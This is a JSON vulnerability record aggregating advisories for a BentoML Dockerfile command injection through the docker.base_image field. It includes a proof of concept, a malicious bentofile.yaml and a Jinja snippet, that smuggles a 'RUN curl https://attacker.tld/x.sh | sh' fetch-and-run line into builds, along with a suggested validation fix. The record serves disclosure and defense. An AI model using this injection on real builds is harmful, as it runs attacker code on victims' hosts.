{"id":"CVE-2026-44345","aliases":["EUVD-2026-32610","GHSA-78f9-r8mh-4xm2","PYSEC-2026-189"],"status":"published","title":"BentoML: Dockerfile command injection via docker.base_image","description":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00317,"percentile":0.24933,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-05-11T14:27:06Z","modified":"2026-10-28T02:30:48Z","fixes":[{"ecosystem":"PyPI","package":"bentoml","fixed_in":["1.4.39"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"bentoml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.4.38"},{"fixed":"1.4.39"}]}]},{"source":"osv","ecosystem":"PyPI","package":"bentoml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.39"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.5","0.0.6a0","0.0.7","0.0.7.dev0","0.0.8","0.0.8.post1","0.0.9","0.1.1","0.1.2","0.10.0","0.10.1","0.11.0","0.11.dev0","0.12.0","0.12.1","0.13.0","0.13.1","0.13.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.9.0","0.9.0rc0","0.9.1","0.9.2","1.0.0","1.0.0.dev0","1.0.0.dev1","1.0.0a1","1.0.0a2","1.0.0a3","1.0.0a4","1.0.0a5","1.0.0a6","1.0.0a7","1.0.0rc0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.2.0a0","1.2.0a1","1.2.0a2","1.2.0a3","1.2.0a4","1.2.0a5","1.2.0a6","1.2.0a7","1.2.0rc1","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.18","1.2.19","1.2.1a1","1.2.2","1.2.20","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.0a1","1.3.0a2","1.3.0a3","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.17","1.3.18","1.3.19","1.3.2","1.3.20","1.3.21","1.3.22","1.3.3","1.3.4.post1","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0a1","1.4.0a2","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.17","1.4.18","1.4.19","1.4.2","1.4.20","1.4.21","1.4.22","1.4.23","1.4.24","1.4.25","1.4.26","1.4.27","1.4.28","1.4.29","1.4.3","1.4.30","1.4.31","1.4.32","1.4.33","1.4.34","1.4.35","1.4.36","1.4.37","1.4.38","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9"]},{"source":"osv","ecosystem":"PyPI","package":"bentoml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.39"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.5","0.0.6a0","0.0.7","0.0.7.dev0","0.0.8","0.0.8.post1","0.0.9","0.1.1","0.1.2","0.10.0","0.10.1","0.11.0","0.11.dev0","0.12.0","0.12.1","0.13.0","0.13.1","0.13.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.9.0","0.9.0rc0","0.9.1","0.9.2","1.0.0","1.0.0.dev0","1.0.0.dev1","1.0.0a1","1.0.0a2","1.0.0a3","1.0.0a4","1.0.0a5","1.0.0a6","1.0.0a7","1.0.0rc0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.2.0a0","1.2.0a1","1.2.0a2","1.2.0a3","1.2.0a4","1.2.0a5","1.2.0a6","1.2.0a7","1.2.0rc1","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.18","1.2.19","1.2.1a1","1.2.2","1.2.20","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.0a1","1.3.0a2","1.3.0a3","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.17","1.3.18","1.3.19","1.3.2","1.3.20","1.3.21","1.3.22","1.3.3","1.3.4.post1","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0a1","1.4.0a2","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.17","1.4.18","1.4.19","1.4.2","1.4.20","1.4.21","1.4.22","1.4.23","1.4.24","1.4.25","1.4.26","1.4.27","1.4.28","1.4.29","1.4.3","1.4.30","1.4.31","1.4.32","1.4.33","1.4.34","1.4.35","1.4.36","1.4.37","1.4.38","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9"]}],"products":[{"vendor":"bentoml","product":"bentoml"}],"references":[{"url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","evidence"]},{"url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44345","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-189.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-78f9-r8mh-4xm2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44345.json","tags":["advisory"]},{"url":"https://github.com/bentoml/BentoML","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44345","title":"BentoML: Dockerfile command injection via docker.base_image","description":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.","status":"published","published":"2026-05-27T17:24:18.789Z","modified":"2026-05-27T18:00:32.386Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-32610","description":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.","status":"published","published":"2026-05-27T17:24:18Z","modified":"2026-05-27T18:00:32Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:21:03.450999Z"}],"ghsa":[{"id":"GHSA-78f9-r8mh-4xm2","title":"BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)","description":"The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host.\n\n## Vulnerable code\n\n`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28):\n\n```jinja\nFROM {{ __options__base_image }} AS base-container\n```\n\n`__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`):\n\n```python\nbase_image: t.Optional[str] = None\n```\n\nNo `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is.\n\n## PoC\n\nMalicious `bentofile.yaml`:\n\n```yaml\ndocker:\n  base_image: |\n    python:3.10\n    RUN curl https://attacker.tld/x.sh | sh\n    FROM scratch\n```\n\nMinimal reproduction of the unsafe interpolation:\n\n```python\nfrom jinja2 import Environment\nenv = Environment()\nmalicious = 'python:3.10\\nRUN curl https://attacker.tld/x.sh | sh\\nFROM scratch'\nout = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)\nprint(out)\n```\n\nOutput:\n\n```\nFROM python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch AS base-container\n```\n\nThree valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error.\n\n## Impact\n\nIdentical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment.\n\n## Suggested fix\n\nValidate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\\n`, `\\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format.\n\nThe same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`:\n\n* `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) — same newline-injection class for path entries from `Image.build_include(*file_paths)`.\n* `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`.\n\n## References\n\n* Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.\n* CWE-78: https://cwe.mitre.org/data/definitions/78.html","status":"published","published":"2026-05-11T14:27:06Z","modified":"2026-06-08T23:49:20Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:21.48274Z"}],"nvd":[{"id":"CVE-2026-44345","description":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.","status":"published","published":"2026-05-27T18:16:23.2Z","modified":"2026-06-17T10:50:32.127Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:20.885865Z"}],"osv":[{"id":"CVE-2026-44345","title":"BentoML: Dockerfile command injection via docker.base_image","description":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.","status":"published","published":"2026-05-27T17:24:18.789Z","modified":"2026-10-28T02:30:48.934075782Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"GHSA-78f9-r8mh-4xm2","title":"BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)","description":"The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host.\n\n## Vulnerable code\n\n`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28):\n\n```jinja\nFROM {{ __options__base_image }} AS base-container\n```\n\n`__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`):\n\n```python\nbase_image: t.Optional[str] = None\n```\n\nNo `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is.\n\n## PoC\n\nMalicious `bentofile.yaml`:\n\n```yaml\ndocker:\n  base_image: |\n    python:3.10\n    RUN curl https://attacker.tld/x.sh | sh\n    FROM scratch\n```\n\nMinimal reproduction of the unsafe interpolation:\n\n```python\nfrom jinja2 import Environment\nenv = Environment()\nmalicious = 'python:3.10\\nRUN curl https://attacker.tld/x.sh | sh\\nFROM scratch'\nout = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)\nprint(out)\n```\n\nOutput:\n\n```\nFROM python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch AS base-container\n```\n\nThree valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error.\n\n## Impact\n\nIdentical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment.\n\n## Suggested fix\n\nValidate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\\n`, `\\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format.\n\nThe same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`:\n\n* `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) — same newline-injection class for path entries from `Image.build_include(*file_paths)`.\n* `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`.\n\n## References\n\n* Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.\n* CWE-78: https://cwe.mitre.org/data/definitions/78.html","status":"published","published":"2026-05-11T14:27:06Z","modified":"2026-06-09T00:00:24.171992237Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:40.657155Z"},{"id":"PYSEC-2026-189","description":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.","status":"published","published":"2026-05-27T18:16:23.2Z","modified":"2026-06-03T12:45:16.765728316Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}